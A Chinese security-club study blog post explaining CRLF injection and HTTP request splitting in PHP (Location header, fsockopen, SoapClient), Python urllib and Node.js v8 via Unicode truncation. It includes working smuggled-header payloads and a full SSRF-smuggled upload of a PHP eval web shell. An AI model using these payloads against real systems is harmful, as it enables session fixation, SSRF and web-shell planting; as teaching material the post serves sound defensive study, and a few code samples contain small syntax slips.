皮蛋厂的学习日记 | 2023.4.4 lc4_F1ame CRLF injection
2023-4-4 15:11:11 Author: 山警网络空间安全实验室(查看原文) 阅读量:9 收藏

文章首发于先知社区

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

HTTP报文结构:

HTTP报文由三部分组成:状态行(请求行 | 响应行)、首部主体。也有些书籍说是由首部和主体两部分组成,状态行包含在首部中,但绝大多数的说法是由三部分组成。

HTTP报文可以分为请求报文和响应报文;请求报文向服务器传达请求,响应报文将请求的结果返回给客户端。以下两图,分别是请求报文以及响应报文的结构图。

  • HTTP报文以状态行开始,跟在后面的是HTTP首部,首部由多个首部字段构成,每行一个首部字段;HTTP首部后是一个空行,然后是报文主体。
  • 可以看到,状态行和首部中的每行都是以回车符(\r,%0d,CR)和换行符(\n,%0a,LF)结束,这是因为HTTP规范中行应该使用CRLF结束。另外,首部和主体之间由一空行隔开,或者可以理解为HTTP首部的最后一个字段有两个CRLF。
  • 与状态行和首部不同的是,主体是可选的,也就是说报文中不一定要有主体;另外状态行和首部是ASCII文本,主体可包含文本或二进制数据。
  • 以上就是HTTP报文的大概结构,下面分别对这三部分进行简要描述。

请求行:

HTTP报文以状态行开始,请求报文中的状态行叫请求行,响应报文中的状态行叫响应行。请求行由==请求方法URL协议版本==组成,这些字段都由空格分隔

请求行表明要对哪个资源执行哪个方法,具体有哪些请求方法。

OPTIONS

查询资源支持的方法。用于查询URL指定的资源支持哪些方法,资源支持哪些方法,会在响应包的Allow字段中显示。


响应行:

响应行由协议版本状态码原因短语(状态码描述)组成。这些字段同样都由空格分隔。

响应行表明了服务器对请求的处理结果,由状态码体现。值得注意的是,原因短语是数字状态码的可读版本,描述数字状态码的含义,便于人理解,只对人有意义,因此以下两种响应行都会被当作成功处理。

HTTP/1.0 200 NOT OK    
HTTP/1.0 200 OK

版本号:

另外请求行和响应行中都包含HTTP版本号,其格式为

HTTP/<major>.<minor>
//major是主版本号,minor是次版本号,使用版本号的目的是规范双方之间通信的格式

CRLF&HRS:

重点:需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n)

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。

所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。

Location 字段的 302 跳转:

  • 举个例子,一般网站会在HTTP头中用 Location: http://baidu.com 这种方式来进行302跳转,如果我们能控制 Location: 后面的某个网址的URL,就可以进行HRS攻击。
<?php
if(isset($_GET["url"])){.                                                                                 header("Location:".$_GET['url']);
    exit;
}
  • 这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。
  • 首先我们输入正常的url:
/?url=https://whoamianony.top
  • 得到的一个正常的302跳转包的响应头是这样:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
  • 但如果我们抓包,将输入的URL改为 /url=https://whoamianony.top%0d%0aPHPSESSID=whoami,注入了一个换行。将修改后的请求包提交给服务器端,查看服务器端的响应。此时的返回包的响应头就会变成这样:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
  • 我们可以发现响应头首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。这个时候我们就给访问者设置了一个SESSION,造成了一个“会话固定漏洞”。
  • 这是由于,此时服务器端接收到的url参数值是我们修改后的:
https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
  • 在url参数值拼接到Location字符串中,设置成响应头后,响应包此时应该是如下这样的:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
  • 但是,%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
  • 而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将PHPSESSID=whoami设置成Cookie。
  • 测试的用例大家可能会觉得这漏洞没什么危害性,但试想一下:利用漏洞,注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,该漏洞的危害不亚于XSS。
  • 但是目前通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了。我们继续往下看。

PHP -- CRLF攻击:

fsockopen() 函数:

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

测试代码:

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

首先我们尝试访问正常的url:

/?url=47.101.57.72:4000
在 Host 头部注入:

下面我们尝试插入 CRLF:

/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

这是由于,此时服务端接收到的url参数值是我们修改后的:

/?url=47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

在url参数值拼接到 Host 字段值中,设置成响应头后,响应包此时应该是如下这样的:

GET / HTTP/1.1
Host: 47.101.57.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 Host 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

GET / HTTP/1.1
Host: 47.101.57.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将PHPSESSID=whoami 设置成 Cookie。

PHP SoapClient 类:

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中==location是要将请求发送到的SOAP服务器的URL==,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,我们首先来发起一个正常的HTTP请求:

<?php
$a = new SoapClient(null,array('location'=>'http://47.101.57.72:4000/aaa''uri'=>'http://47.101.57.72:4000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
在User-Agent头部注入:
<?php
$target = 'http://47.101.57.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami"'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

如下图所示,VPS 上监听到了请求,成功在HTTP头中插入了一个我们自定义的 cookie:

这是由于,此时服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 User-Agent 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。

发送 POST 数据包:

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。

对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

测试代码如下:

<?php
$target = 'http://47.101.57.72:4000/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

VPS 上监听到了 POST 数据

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,HTTP 首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。这样,当%0d%0a和%0d%0a%0d%0a分别被解析为 HTTP 首部字段的结尾和 HTTP 首部的结尾,最终的HTTP请求便成了如下这样:

POST / HTTP/1.1
Host: 47.101.57.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11

data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

Python--CRLF攻击:

Python是一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib是其中的一个用于处理URL的模块。urllib2是其中的一个用于获取URL(统一资源定位符)的模块。

Python 2.x版本至2.7.16版本中的urllib2Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。

该漏洞早在2016年就被爆出(CVE-2016-5699),在之后的一段时间里不断爆出了python其他版本也存在该漏洞(CVE-2019-9740、CVE-2019-9947)

影响范围:

  • Python 2.x版本至2.7.16版本中的urllib2
  • Python 3.x版本至3.7.2版本中的urllib
在 HTTP 状态行注入恶意首部字段:

测试代码:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = "http://47.101.57.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

执行代码后,VPS 上会监听到如下HTTP头:

如上图所示,成功引发了CRLF漏洞。

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close

此时,HTTP 状态行中出现了%0d%0a,便会被解析为HTTP首部字段的结束并成功插入我们定制的HTTP首部字段。最终HTTP请求变成了下面这样:

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.101.57.72:4000
User-Agent: Python-urllib/3.7
Connection: close
在 HTTP 状态行注入完整 HTTP 请求:

首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

编写脚本构造payload:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''

.replace("\n","\\r\\n")

print(payload)

# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:

然后构造请求:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.101.57.72:4000
url = 'http://47.101.57.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

我们来分析一下http拆分攻击的过程:

如果不进行攻击,我们正常的请求数据应该是这样的:

GET / HTTP/1.1
Host: 47.101.57.72:4000

当我们插入CRLF对http进行攻击了以后,数据变成了这个样子:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

HTTP/1.1
Host: 47.101.57.72:4000

我们可以看到从GET后面的HTTP开始,到最后host之前的http,都为我们注入的内容,前面注入HTTP是为了闭合get内容,让我们下面的post请求能够完整,但是后面原本就有一个http标签,所以我们需要再构造一个get来进行闭合,这样就形成了三个请求包,分别结构完整:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test: HTTP/1.1
Host: 47.101.57.72:4000

Node.js--CRLF攻击:

HTTP 请求路径中的 Unicode 字符损坏:

虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如

这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

Unicode 字符损坏造成的 HTTP 拆分攻击:

刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。

由于 nodejs 的 HTTP 库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:

var http = require("http");
> http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output
'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:

'http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.101.57.72:4000/čĊ/WHOAMI

当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 "\r"(%0d) "\n"(%0a)

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI''latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
GET /
/WHOAMI HTTP/1.1

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:

字符可由以下Unicode编码构造出Unicode编码对应的字符Unicode编码对应的字符对应的URL编码
回车符 \r\u010dč%C4%8D
换行符 \n\u010aĊ%C4%8A
空格\u0120Ġ%C4%A0
反斜杠 \\u0122Ģ%C4%A2
单引号 '\u0127ħ%C4%A7
反引号 `\u0160Š%C5%A0
叹号 !\u0121ġ%C4%A1

这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:

  • 接受来自用户输入的Unicode数据
  • 并将其包含在HTTP请求的路径中
  • 且请求具有一个0长度的主体(比如一个 GET 或者 DELETE
在 HTTP 状态行注入恶意首部字段:

由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
//[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoami HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1 ,但我们根据该原理依然可以将其闭合:

> http.get('http://47.101.57.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
//[ 'GET /ĠHTTP/1.1čĊSet-Cookie:ĠPHPSESSID=whoamičĊtest: HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
在 HTTP 状态行注入完整 HTTP 请求:

首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'

''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

